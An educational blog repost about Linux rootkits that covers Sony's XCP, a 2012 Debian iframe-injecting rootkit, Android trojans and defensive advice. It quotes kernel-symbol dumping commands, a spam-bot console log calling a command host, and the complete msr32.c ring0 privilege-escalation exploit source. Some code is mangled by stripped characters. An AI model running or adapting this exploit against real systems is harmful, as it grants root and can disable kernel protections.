Friday, March 14, 2014

[infosecinstitute] What You Need to Know About Linux Rootkits

Imagine that you’re using your PC, server, smartphone or tablet. The operating system and applications on it aren’t behaving the way they usually do.

You pull up Google’s search page in your web browser. You get redirected to a web page filled with blinking web banners saying “Your computer has 6,666 viruses! Click here to remove them now!”
Britney Spears is your guilty pleasure. You pop a CD of her Blackout album into your laptop’s optical drive, the one you bought from HMV back in 2007. Instead of your default music application playing the sweet sounds of “Gimme More,” a window pops up. “This CD needs a special program to play it. Click here!”
You navigate back to your desktop. You double-click on the iTunes icon. Instead of iTunes launching, something else does. “Hot Russian chicks… They’re lonely, horny and desperate! They want to talk to YOU! Click here!”
Your best friend calls you on your Android smartphone. “Why do you keep texting me about the ‘one weird trick’ for losing weight?”
Anyone who’s reasonably familiar with computer technology could probably guess that malware is the culprit to all that calamity.
In my IT security career, I interact with both end users and computing professionals from all walks of life. There’s so much Windows targetting malware that’s been circulating through the Internet for the past couple of decades that most Windows users, even when they use currently patched antivirus shields, are all too familiar with many of the symptoms of infection.
It’s also a popular myth that malware is exclusively a Windows problem. Many Apple fans say, “I don’t need an antivirus program, I use a Mac!”
And although x86 Linux distro users tend to be more technologically savvy than most, many of them, even those who work in IT, would never consider malware to be a possibility on their platform of choice.
Malware is one of my primary areas of professional focus and study. I’ve rescued datacenters from malware that has crippled their entire internal networks.
I’ve said this time and time again; any computer that can receive outside data, whether via networking or removable media, can become infected with malware. The only way to guarantee that a computer, whether it’s a PC, server, smartphone, tablet, or embedded system, will never get infected is by thoroughly examining its data storage on disks and firmware, and then completely cutting it off from networking and removable media. And that’s simply not plausible, especially in the 21stcentury.
Your typical end user probably never sees Ubuntu, Fedora, or Linux Mint. But they’re using the Linux kernel, likely every single day. And more than half of all web servers run a Linux distro with Apache operated HTTP/HTTPS services.
Android, on both smartphones and tablets, now has greater mobile marketshare than Apple’s iOS. Although Android is mainly proprietary Java code, there’s an open source Linux kernel underneath.
So, possibly billions of people are using Linux everyday, and they don’t even know it.
Of course, Linux is simply a kernel. What kind of malware targets kernels? Rootkits!
Unlike many other types of malware, rootkits don’t self-propagate. Something must deliver the rootkit. It could be a virus, which attaches itself to program files or other code. It could be a worm that spreads through a network like wildfire. It could be a flash media USB stick that your buddy lent you with their family vacation photos on it. It could even be a popular webpage which uses server-side scripting technology like JavaScript. And most malware-infected webpages weren’t designed maliciously. There may be vulnerabilities in the code, and a web malware distributing bot took advantage.
The blackhats who script rootkits don’t always fit the “hacker” stereotype. At least one multibillion dollar corporation, Sony, was caught redhanded back in 2005. Sony/BMG is Britney Spears’ record label, and they also are the label for a large percentage of the most popular rock stars and bands.
Sony/BMG, like the other major players in the music industry, have been stressed out over lost profit from music piracy since Napster became a phenomenon in 1999. So, many CDs of Billboard’s bestselling albums that Sony sold from roughly 2005 to 2007 had rootkits hidden on them.
One of the first rootkits Sony/BMG developed, XCP, was discovered by IT security researcher Mark Russinovich on October 31st, 2005. No mention of its existence was ever in any pertinent end user license agreement.
Although the rootkit was designed to prevent consumers from ripping music files from Sony/BMG CDs to pirate through the Internet, the rootkit also created countless vulnerabilities that more common types of malware could exploit, with devastating consequences.
The incident was definitely a bad PR move for Sony.
XCP and Sony’s other rootkits from that time period targeted Windows client OSes only. But that’s probably because Sony knew that at the time, the overwhelming majority of PC users ran Windows. Also, it’s bloody easy to write malware in Visual Studio. Many of the scripts that script kiddies use, even now, are written in that proprietary Microsoft IDE.
But blackhats, whether they’re prototypical criminals or employees of large corporations, are usually now aware that most Web servers and mobile devices run a Linux kernel.
Linux rootkits have already been identified.
In November 2012, a scary Linux rootkit was a hot topic in the tech media world. It targeted Linux server distros that were based on Debian. The specific Linux kernel version it exploited was 2.6.32-5-amd64.
By penetrating the kernel, it would then propagate via webpage embedded JavaScript code that works with the HTML <iframe> tag.
Researchers at Kaspersky Lab and CrowdStrike did a thorough analysis.
Marta Janus of Kaspersky Lab wrote, “The malware ensures its startup by adding an entry to the /etc/rc.local script: insmod /lib/modules/2.6.32-5-amd64/kernel/sound/module_init.ko. After loading into memory, the rootkit uses one of two methods to retrieve kernel symbols and write them to the /.kallsyms_tmp file:
/bin/bash -c cat /proc/kallsyms > /.kallsyms_tmp
/bin/bash -c cat /boot/System.map-`uname -r` > /.kallsyms_tmp
Then it extracts the memory addresses of several kernel functions and variables and stores them in the memory for the later use.”
By infecting 2.6.32-5-amd64 based web servers, the rootkit would generate <iframe> HTML code into webpages via PHP. The new <iframe> tags would redirect web surfers to malicious webpages that could behave as spyware, or infect surfers’ machines with even more destructive malware.
On December 29th, 2011, StackExchange user Olier Saari posted that his Linux-based server was generating spam. He found Perl code that he suspected was part of the rootkit. The following are the results of his testing and modifications, pasted from Bash.
1
2
3
4
5
6
7
8
9
10
server:~# perl spam_scipt
wget version is 11
Set browser wget
Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html
Runned postfix found, use /usr/sbin/sendmail
Probe host redacted.info
Go https://ibkxluxisp.redacted.info:1905//b/index.php?id=5cb885d577c7bbacdae44dd9f7f86b641ad60d58b1b9df07b97953a70376ec47&check=1
Generate host ibkxluxisp.redacted.info:1905
 
https://ibkxluxisp.redacted.info:1905//b/index.php?id=5fb58ad575c14b08785ae5255ffbf83c9f561d18e961b2eb96dc5a058a41&version=18&sent=0&user=584e6388c671f38756eac21cec

1
2
3
4
5
6
7
8
9
10
server:~# perl spam_scipt
wget version is 11
Set browser wget
Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html
Runned postfix found, use /usr/sbin/sendmail
Probe host redacted.info
Go https://wodhvqubux.redacted.info:1905//b/index.php?id=5cb186d575c44b1e5174c7c111636063b338bc3ef4d46e4533036eded038a7&check=1
Generate host wodhvqubux.redacted.info:1905
 
https://wodhvqubux.redacted.info:1905//b/index.php?id=5a497fe86dde12da162b6460bb8cd215966679ad7bf97338b9b6c2e741fe&version=18&sent=0&user=544c648ace7ff7834db9fadf36bdserver:~#;
For every single Linux rootkit that someone discovers and posts about online, there have got to be many more that only the blackhats who developed them know about.
Here’s another example. Before the 3.7.6 version of the Linux kernel was released, there was a vulnerability in themsr_open function located in arch/x86/kernel/msr.c. It allowed rootkits to bypass root in a restricted user account to inject and launch malicious code.
Spender, the handle of a user at grsecurity.net, wrote a script designed to exploit that vulnerability. Here it is, in its entirety.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
// PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit host
// can do whatever in the commented area, re-enable module support, etc
// requires CONFIG_X86_MSR and just uid 0
// a small race exists between the time when the MSR is written to the first
// time and when we issue our sysenter
// we additionally require CAP_SYS_NICE to make the race win nearly guaranteed
// configured to take a hex arg of a dword pointer to set to 0
// (modules_disabled, selinux_enforcing, take your pick)
//
// Hello to Red Hat, who has shown yet again to not care until a
// public exploit is released.  Not even a bugzilla entry existed in
// their system until this was published -- and they have a paid team
// of how many? (who aren't satisfied until I do all of their work for
// free, apparently:
// https://twitter.com/kurtseifried/status/299327878233985024 )
// It's not as if I didn't mention the problem and existence of an easy
// exploit multiple times prior:
// https://twitter.com/grsecurity/status/298977370776432640
// https://twitter.com/grsecurity/status/297365303095078912
// https://twitter.com/grsecurity/status/297189488638181376
// https://twitter.com/grsecurity/status/297030133628416000
// https://twitter.com/grsecurity/status/297029470072745984
// https://twitter.com/grsecurity/status/297028324134359041
//
// spender 2013
 
#define _GNU_SOURCE
#include
#include
#include
#include <sys/types.h>
#include <sys/stat.h>
#include
#include
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/mman.h>
 
#define SYSENTER_EIP_MSR 0x176
 
u_int64_t msr;
 
unsigned long ourstack[65536];
 
u_int64_t payload_data[16];
 
extern void *_ring0;
extern void *_ring0_end;
 
void ring0(void)
{
__asm volatile(".globl _ring0n"
        "_ring0:n"
        ".intel_syntax noprefixn"
        ".code64n"
        // set up stack pointer with 'ourstack'
        "mov esp, ecxn"
        // save registers, contains the original MSR value
        "push raxn"
        "push rbxn"
        "push rcxn"
        "push rdxn"
        // play with the kernel here with interrupts disabled!
        "mov rcx, qword ptr [rbx+8]n"
        "test rcx, rcxn"
        "jz skip_writen"
        "mov dword ptr [rcx], 0n"
        "skip_write:n"
        // restore MSR value before returning
        "mov ecx, 0x176n" // SYSENTER_EIP_MSR
        "mov eax, dword ptr [rbx]n"
        "mov edx, dword ptr [rbx+4]n"
        "wrmsrn"
        "pop rdxn"
        "pop rcxn"
        "pop rbxn"
        "pop raxn"
        "stin"
        "sysexitn"
        ".code32n"
        ".att_syntax prefixn"
        ".global _ring0_endn"
        "_ring0_end:n"
        );
}
 
unsigned long saved_stack;
 
int main(int argc, char *argv[])
{
        cpu_set_t set;
        int msr_fd;
        int ret;
        u_int64_t new_msr;
        struct sched_param sched;
        u_int64_t resolved_addr = 0ULL;
 
        if (argc == 2)
                resolved_addr = strtoull(argv[1], NULL, 16);
 
        /* can do this without privilege */
        mlock(_ring0, (unsigned long)_ring0_end - (unsigned long)_ring0);
        mlock(&payload_data, sizeof(payload_data));
 
        CPU_ZERO(&set);
        CPU_SET(0, &set);
 
        sched.sched_priority = 99;
 
        ret = sched_setscheduler(0, SCHED_FIFO, &sched);
        if (ret) {
                fprintf(stderr, "Unable to set priority.n");
                exit(1);
        }
 
        ret = sched_setaffinity(0, sizeof(cpu_set_t), &set);
        if (ret) {
                fprintf(stderr, "Unable to set affinity.n");
                exit(1);
        }
 
        msr_fd = open("/dev/cpu/0/msr", O_RDWR);
        if (msr_fd < 0) {
                msr_fd = open("/dev/msr0", O_RDWR);
                if (msr_fd < 0) {
                        fprintf(stderr, "Unable to open /dev/cpu/0/msrn");
                        exit(1);
                }
        }
        lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
        ret = read(msr_fd, &msr, sizeof(msr));
        if (ret != sizeof(msr)) {
                fprintf(stderr, "Unable to read /dev/cpu/0/msrn");
                exit(1);
        }
 
        // stuff some addresses in a buffer whose address we
        // pass to the "kernel" via register
        payload_data[0] = msr;
        payload_data[1] = resolved_addr;
 
        printf("Old SYSENTER_EIP_MSR = %016llxn", msr);
        fflush(stdout);
 
        lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
        new_msr = (u_int64_t)(unsigned long)&_ring0;
 
        printf("New SYSENTER_EIP_MSR = %016llxn", new_msr);
        fflush(stdout);
 
        ret = write(msr_fd, &new_msr, sizeof(new_msr));
        if (ret != sizeof(new_msr)) {
                fprintf(stderr, "Unable to modify /dev/cpu/0/msrn");
                exit(1);
        }
 
        __asm volatile(
                ".intel_syntax noprefixn"
                ".code32n"
                "mov saved_stack, espn"
                "lea ecx, ourstackn"
                "lea edx, label2n"
                "lea ebx, payload_datan"
                "sysentern"
                "label2:n"
                "mov esp, saved_stackn"
                ".att_syntax prefixn"
        );
 
        printf("Success.n");
 
        return 0;
}
People like Spender write these scripts so that OS developers can learn how to security harden their kernels against rootkits.
I’ve barely scratched the surface. The possibilities of Linux rootkits are endless.
Although typical end users interact with Linux servers via client machines running Windows, or the BSD/UNIX based Mac OS X and iOS, the one Linux based OS that end users frequently interact with directly is Android.
Yes, Android rootkits are Linux rootkits.
In 2011, a Reddit user who goes by the handle Lompolo discovered that there were a number of apps that were available in the Android Market (now known as the Google Play Store) that were trojans with Android rootkit code. The developers of the trojan apps went under “Myournet,” “Kingmall2010,” and “we20090202.” Some of the names of those various apps were “Super Guitar Solo,” “Hot Sexy Videos,” “Chess,” “Scientific Calculator,” and “Advanced App to SD.”
Benn of Intrepdius Group Mobile Security found some Android rootkit code which is likely very similiar to the code found in those trojans.
That sort of scripting can have disasterous effects on an Android device. Spambotting, SMS malware propagation, Android rogue AVs, spyware… the possibilities are endless.
Anyone can upload apps to the Google Play Store, but Google puts a lot of effort into removing malicious apps from the store as soon as they become aware of them. Then, they ban the developer’s Google Play Store account. That’s wonderful, but useless for zero-day attacks.
So, what can you do to prevent yourself from becoming a victim of a Linux rootkit? There’s no way to eliminate the risk 100%, but there are excellent things you can do to protect yourself and your devices.
ClamAV develops an excellent open source antivirus shield that can run in most x86 Linux distros, both client and server. Their development team constantly looks for Linux specific threats and vulnerabilities, and they distribute new malware signatures almost daily. I strongly endorse running ClamAV on all types of x86 Linux machines.
Also, make sure that the Linux distros of your choice are configured to install security patches as frequently as possible. Even more importantly, make sure your OSes use the latest stable Linux kernels. Linux kernel developers constantly work on finding vulnerabilities and patching them.
If you’re like me, and you have an Android device, go to the Google Play Store and install Lookout Mobile Security. Its AV shield is free of charge, and it also patches frequently. There’s also now a version of Malwarebytes Anti-Malware for Android. It won’t conflict with your Lookout AV shield, and you can use it periodically to scan for malware. Just be wary of false positives! Many people would rather not admit it, but pirated and cracked commercial Android apps are very popular. The cracks that many of those pirated apps have are designed to overcome Android’s DRM, but may not have any malicious effect on your Android device. If you’re going to take a risk and install cracked apps, proceed with caution. Of course, I don’t advocate software piracy. If you really like a cracked app that you installed on your Android device, please buy a legitimate install as soon as you can afford it. Most Android developers are individuals or small businesses, and they can’t keep developing the utilities and games that you love if they can’t make any money.
As I mentioned, computers that run Windows, OS X, iOS and other non-Linux operating systems can still get infected via rootkits on Linux servers. No operating system is immune to malware. Clam, Lookout and Kaspersky all develop excellent AV shields for Windows, OS X, iOS, BlackBerry, and UNIX OSes such as OpenBSD. Like in desktop Linux distros, make sure that all of your operating systems get security patches as soon as they become available.
Finally, whatever the applications are, for any operating system, it’s prudent to do your research before you consider installing them. The web is your friend! Do a web search for the application’s name. Ignore whatever advertising or PR that you find. Read what other “computer geeks” have been writing about them in various forums. It’s also good to read third-party reviews for utilities and games in respected online and print magazines.
The realm of Linux rootkits is constantly evolving, so it’s best to keep up with the news and be aware. It’s a risk that affects all of us.
References
Spender’s msr32.c script: http://grsecurity.net/~spender/msr32.c
Sony Music CDs Under Fire From Privacy Advocates: http://www.npr.org/templates/story/story.php?storyId=4989260
More than 50 Android apps found infected with rootkit malware:http://www.theguardian.com/technology/blog/2011/mar/02/android-market-apps-malware
Posted by at
Labels: ,

No comments:

Post a Comment

Subscribe to: Post Comments (Atom)